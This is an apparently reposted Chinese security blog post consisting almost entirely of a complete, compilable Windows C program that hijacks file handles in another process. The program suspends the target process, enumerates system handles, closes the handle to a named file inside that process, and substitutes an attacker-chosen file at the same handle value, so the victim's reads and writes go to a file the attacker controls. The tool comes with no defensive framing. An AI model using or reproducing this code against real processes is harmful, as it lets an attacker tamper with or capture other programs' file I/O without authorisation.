劫持目标进程中的文件
2023-1-16 23:3:16 Author: MicroPest(查看原文) 阅读量:7 收藏

#include <stdio.h>

#include <windows.h>

#define SystemExtendedHandleInformation 64

#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004

#define FileNameInformation 9

#define PROCESS_SUSPEND_RESUME 0x800

struct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX

{

    ULONG Object;

    ULONG UniqueProcessId; 

    ULONG HandleValue; 

    ULONG GrantedAccess;

    USHORT CreatorBackTraceIndex;

    USHORT ObjectTypeIndex;

    ULONG HandleAttributes;

    ULONG Reserved;

};

struct SYSTEM_HANDLE_INFORMATION_EX

{

    ULONG NumberOfHandles;

    ULONG Reserved;

    SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX HandleList[1];

};

struct FILE_NAME_INFORMATION

{

    ULONG FileNameLength;

    WCHAR FileName[1];

};

struct IO_STATUS_BLOCK

{

    union

    {

        DWORD Status;

        PVOID Pointer;

    };

    DWORD *Information;

};

struct GetFileHandlePathThreadParamStruct

{

    HANDLE hFile;

    char szPath[512];

};

DWORD (WINAPI *NtQuerySystemInformation)(DWORD SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);

DWORD (WINAPI *NtQueryInformationFile)(HANDLE FileHandle, void *IoStatusBlock, PVOID FileInformation, ULONG Length, DWORD FileInformationClass);

DWORD (WINAPI *NtSuspendProcess)(HANDLE Process);

DWORD (WINAPI *NtResumeProcess)(HANDLE Process);

SYSTEM_HANDLE_INFORMATION_EX *pGlobal_SystemHandleInfo = NULL;

DWORD dwGlobal_DebugObjectType = 0;

DWORD GetSystemHandleList()

{

    DWORD dwAllocSize = 0;

    DWORD dwStatus = 0;

    DWORD dwLength = 0;

    BYTE *pSystemHandleInfoBuffer = NULL;

    // free previous handle info list (if one exists)

    if(pGlobal_SystemHandleInfo != NULL)

    {

        free(pGlobal_SystemHandleInfo);

    }

    // get system handle list

    dwAllocSize = 0;

    for(;;)

    {

        if(pSystemHandleInfoBuffer != NULL)

        {

            // free previous inadequately sized buffer

            free(pSystemHandleInfoBuffer);

            pSystemHandleInfoBuffer = NULL;

        }

        if(dwAllocSize != 0)

        {

            // allocate new buffer

            pSystemHandleInfoBuffer = (BYTE*)malloc(dwAllocSize);

            if(pSystemHandleInfoBuffer == NULL)

            {

                return 1;

            }

        }

        // get system handle list

        dwStatus = NtQuerySystemInformation(SystemExtendedHandleInformation, (void*)pSystemHandleInfoBuffer, dwAllocSize, &dwLength);

        if(dwStatus == 0)

        {

            // success

            break;

        }

        else if(dwStatus == STATUS_INFO_LENGTH_MISMATCH)

        {

            // not enough space - allocate a larger buffer and try again (also add an extra 1kb to allow for additional handles created between checks)

            dwAllocSize = (dwLength + 1024);

        }

        else

        {

            // other error

            free(pSystemHandleInfoBuffer);

            return 1;

        }

    }

    // store handle info ptr

    pGlobal_SystemHandleInfo = (SYSTEM_HANDLE_INFORMATION_EX*)pSystemHandleInfoBuffer;

    return 0;

}

DWORD GetFileHandleObjectType(DWORD *pdwFileHandleObjectType)

{

    HANDLE hFile = NULL;

    char szPath[512];

    DWORD dwFound = 0;

    DWORD dwFileHandleObjectType = 0;

    // get the file path of the current exe

    memset(szPath, 0, sizeof(szPath));

    if(GetModuleFileName(NULL, szPath, sizeof(szPath) - 1) == 0)

    {

        return 1;

    }

    // open the current exe

    hFile = CreateFile(szPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);

    if(hFile == INVALID_HANDLE_VALUE)

    {

        return 1;

    }

    // take a snapshot of the system handle list

    if(GetSystemHandleList() != 0)

    {

        return 1;

    }

    // close the temporary file handle

    CloseHandle(hFile);

    // find the temporary file handle in the previous snapshot

    for(DWORD i = 0; i < pGlobal_SystemHandleInfo->NumberOfHandles; i++)

    {

        // check if the process ID is correct

        if(pGlobal_SystemHandleInfo->HandleList[i].UniqueProcessId == GetCurrentProcessId())

        {

            // check if the handle index is correct

            if(pGlobal_SystemHandleInfo->HandleList[i].HandleValue == (DWORD)hFile)

            {

                // store the file handle object type index

                dwFileHandleObjectType = pGlobal_SystemHandleInfo->HandleList[i].ObjectTypeIndex;

                dwFound = 1;

                break;

            }

        }

    }

    // ensure the file handle object type was found

    if(dwFound == 0)

    {

        return 1;

    }

    // store object type

    *pdwFileHandleObjectType = dwFileHandleObjectType;

    return 0;

}

DWORD WINAPI GetFileHandlePathThread(LPVOID lpArg)

{

    BYTE bFileInfoBuffer[2048];

    IO_STATUS_BLOCK IoStatusBlock;

    GetFileHandlePathThreadParamStruct *pGetFileHandlePathThreadParam = NULL;

    FILE_NAME_INFORMATION *pFileNameInfo = NULL;

    // get param

    pGetFileHandlePathThreadParam = (GetFileHandlePathThreadParamStruct*)lpArg;

    // get file path from handle

    memset((void*)&IoStatusBlock, 0, sizeof(IoStatusBlock));

    memset(bFileInfoBuffer, 0, sizeof(bFileInfoBuffer));

    if(NtQueryInformationFile(pGetFileHandlePathThreadParam->hFile, &IoStatusBlock, bFileInfoBuffer, sizeof(bFileInfoBuffer), FileNameInformation) != 0)

    {

        return 1;

    }

    // get FILE_NAME_INFORMATION ptr

    pFileNameInfo = (FILE_NAME_INFORMATION*)bFileInfoBuffer;

    // validate filename length

    if(pFileNameInfo->FileNameLength >= sizeof(pGetFileHandlePathThreadParam->szPath))

    {

        return 1;

    }

    // convert file path to ansi string

    wcstombs(pGetFileHandlePathThreadParam->szPath, pFileNameInfo->FileName, sizeof(pGetFileHandlePathThreadParam->szPath) - 1);

    return 0;

}

DWORD ReplaceFileHandle(HANDLE hTargetProcess, HANDLE hExistingRemoteHandle, HANDLE hReplaceLocalHandle)

{

    HANDLE hClonedFileHandle = NULL;

    HANDLE hRemoteReplacedHandle = NULL;

    // close remote file handle

    if(DuplicateHandle(hTargetProcess, hExistingRemoteHandle, GetCurrentProcess(), &hClonedFileHandle, 0, 0, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS) == 0)

    {

        return 1;

    }

    // close cloned file handle

    CloseHandle(hClonedFileHandle);

    // duplicate local file handle into remote process

    if(DuplicateHandle(GetCurrentProcess(), hReplaceLocalHandle, hTargetProcess, &hRemoteReplacedHandle, 0, 0, DUPLICATE_SAME_ACCESS) == 0)

    {

        return 1;

    }

    // ensure that the new remote handle matches the original value

    if(hRemoteReplacedHandle != hExistingRemoteHandle)

    {

        return 1;

    }

    return 0;

}

DWORD HijackFileHandle(DWORD dwTargetPID, char *pTargetFileName, HANDLE hReplaceLocalHandle)

{

    HANDLE hProcess = NULL;

    HANDLE hClonedFileHandle = NULL;

    DWORD dwFileHandleObjectType = 0;

    DWORD dwThreadExitCode = 0;

    DWORD dwThreadID = 0;

    HANDLE hThread = NULL;

    GetFileHandlePathThreadParamStruct GetFileHandlePathThreadParam;

    char *pLastSlash = NULL;

    DWORD dwHijackCount = 0;

    // calculate the object type index for file handles on this system

    if(GetFileHandleObjectType(&dwFileHandleObjectType) != 0)

    {

        return 1;

    }

    printf("Opening process: %u...\n", dwTargetPID);

    // open target process

    hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_SUSPEND_RESUME, 0, dwTargetPID);

    if(hProcess == NULL)

    {

        return 1;

    }

    // suspend target process

    if(NtSuspendProcess(hProcess) != 0)

    {

        CloseHandle(hProcess);

        return 1;

    }

    // get system handle list

    if(GetSystemHandleList() != 0)

    {

        NtResumeProcess(hProcess);

        CloseHandle(hProcess);

        return 1;

    }

    for(DWORD i = 0; i < pGlobal_SystemHandleInfo->NumberOfHandles; i++)

    {

        // ensure this handle is a file handle object

        if(pGlobal_SystemHandleInfo->HandleList[i].ObjectTypeIndex != dwFileHandleObjectType)

        {

            continue;

        }

        // ensure this handle is in the target process

        if(pGlobal_SystemHandleInfo->HandleList[i].UniqueProcessId != dwTargetPID)

        {

            continue;

        }

        // clone file handle

        if(DuplicateHandle(hProcess, (HANDLE)pGlobal_SystemHandleInfo->HandleList[i].HandleValue, GetCurrentProcess(), &hClonedFileHandle, 0, 0, DUPLICATE_SAME_ACCESS) == 0)

        {

            continue;

        }

        // get the file path of the current handle - do this in a new thread to prevent deadlocks

        memset((void*)&GetFileHandlePathThreadParam, 0, sizeof(GetFileHandlePathThreadParam));

        GetFileHandlePathThreadParam.hFile = hClonedFileHandle;

        hThread = CreateThread(NULL, 0, GetFileHandlePathThread, (void*)&GetFileHandlePathThreadParam, 0, &dwThreadID);

        if(hThread == NULL)

        {

            CloseHandle(hClonedFileHandle);

            continue;

        }

        // wait for thread to finish (1 second timeout)

        if(WaitForSingleObject(hThread, 1000) != WAIT_OBJECT_0)

        {

            // time-out - kill thread

            TerminateThread(hThread, 1);

            CloseHandle(hThread);

            CloseHandle(hClonedFileHandle);

            continue;

        }

        // close cloned file handle

        CloseHandle(hClonedFileHandle);

        // check exit code of temporary thread

        GetExitCodeThread(hThread, &dwThreadExitCode);

        if(dwThreadExitCode != 0)

        {

            // failed

            CloseHandle(hThread);

            continue;

        }

        // close thread handle

        CloseHandle(hThread);

        // get last slash in path

        pLastSlash = strrchr(GetFileHandlePathThreadParam.szPath, '\\');

        if(pLastSlash == NULL)

        {

            continue;

        }

        // check if this is the target filename

        pLastSlash++;

        if(stricmp(pLastSlash, pTargetFileName) != 0)

        {

            continue;

        }

        // found matching filename

        printf("Found remote file handle: \"%s\" (Handle ID: 0x%X)\n", GetFileHandlePathThreadParam.szPath, pGlobal_SystemHandleInfo->HandleList[i].HandleValue);

        dwHijackCount++;

        // replace the remote file handle

        if(ReplaceFileHandle(hProcess, (HANDLE)pGlobal_SystemHandleInfo->HandleList[i].HandleValue, hReplaceLocalHandle) == 0)

        {

            // handle replaced successfully

            printf("Remote file handle hijacked successfully\n\n");

        }

        else

        {

            // failed to hijack handle

            printf("Failed to hijack remote file handle\n\n");

        }

    }

    // resume process

    if(NtResumeProcess(hProcess) != 0)

    {

        CloseHandle(hProcess);

        return 1;

    }

    // clean up

    CloseHandle(hProcess);

    // ensure at least one matching file handle was found

    if(dwHijackCount == 0)

    {

        printf("No matching file handles found\n");

        return 1;

    }

    return 0;

}

DWORD GetNtdllFunctions()

{

    // get NtQueryInformationFile ptr

    NtQueryInformationFile = (unsigned long (__stdcall *)(void *,void *,void *,unsigned long,unsigned long))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationFile");

    if(NtQueryInformationFile == NULL)

    {

        return 1;

    }

    // get NtQuerySystemInformation ptr

    NtQuerySystemInformation = (unsigned long (__stdcall *)(unsigned long,void *,unsigned long,unsigned long *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");

    if(NtQuerySystemInformation == NULL)

    {

        return 1;

    }

    // get NtSuspendProcess ptr

    NtSuspendProcess = (unsigned long (__stdcall *)(void *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtSuspendProcess");

    if(NtSuspendProcess == NULL)

    {

        return 1;

    }

    // get NtResumeProcess ptr

    NtResumeProcess = (unsigned long (__stdcall *)(void *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtResumeProcess");

    if(NtResumeProcess == NULL)

    {

        return 1;

    }

    return 0;

}

int main(int argc, char *argv[])

{

    DWORD dwPID = 0;

    char *pTargetFileName = NULL;

    char *pNewFilePath = NULL;

    HANDLE hFile = NULL;

    printf("HijackFileHandle - [url]www.x86matthew.com[/url]\n\n");

    if(argc != 4)

    {

        printf("%s <target_pid> <target_file_name> <new_file_path>\n\n", argv[0]);

        return 1;

    }

    // get params

    dwPID = atoi(argv[1]);

    pTargetFileName = argv[2];

    pNewFilePath = argv[3];

    // get ntdll function ptrs

    if(GetNtdllFunctions() != 0)

    {

        return 1;

    }

    // create new output file

    hFile = CreateFile(pNewFilePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, NULL);

    if(hFile == INVALID_HANDLE_VALUE)

    {

        printf("Failed to create file\n");

        return 1;

    }

    // hijack file handle in target process

    if(HijackFileHandle(dwPID, pTargetFileName, hFile) != 0)

    {

        printf("Error\n");

        // error - delete output file

        CloseHandle(hFile);

        DeleteFile(pNewFilePath);

        return 1;

    }

    // close local file handle

    CloseHandle(hFile);

    printf("Finished\n");

    return 0;

}


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NDcxMDQzNA==&mid=2247487579&idx=1&sn=b329e49196cc5efb5d9eae8279c3c080&chksm=a682c69691f54f803b61496a121b5cc90a792683fbc23016a9e5e366b9dbb20e604ca019d116#rd
如有侵权请联系:admin#unsafe.sh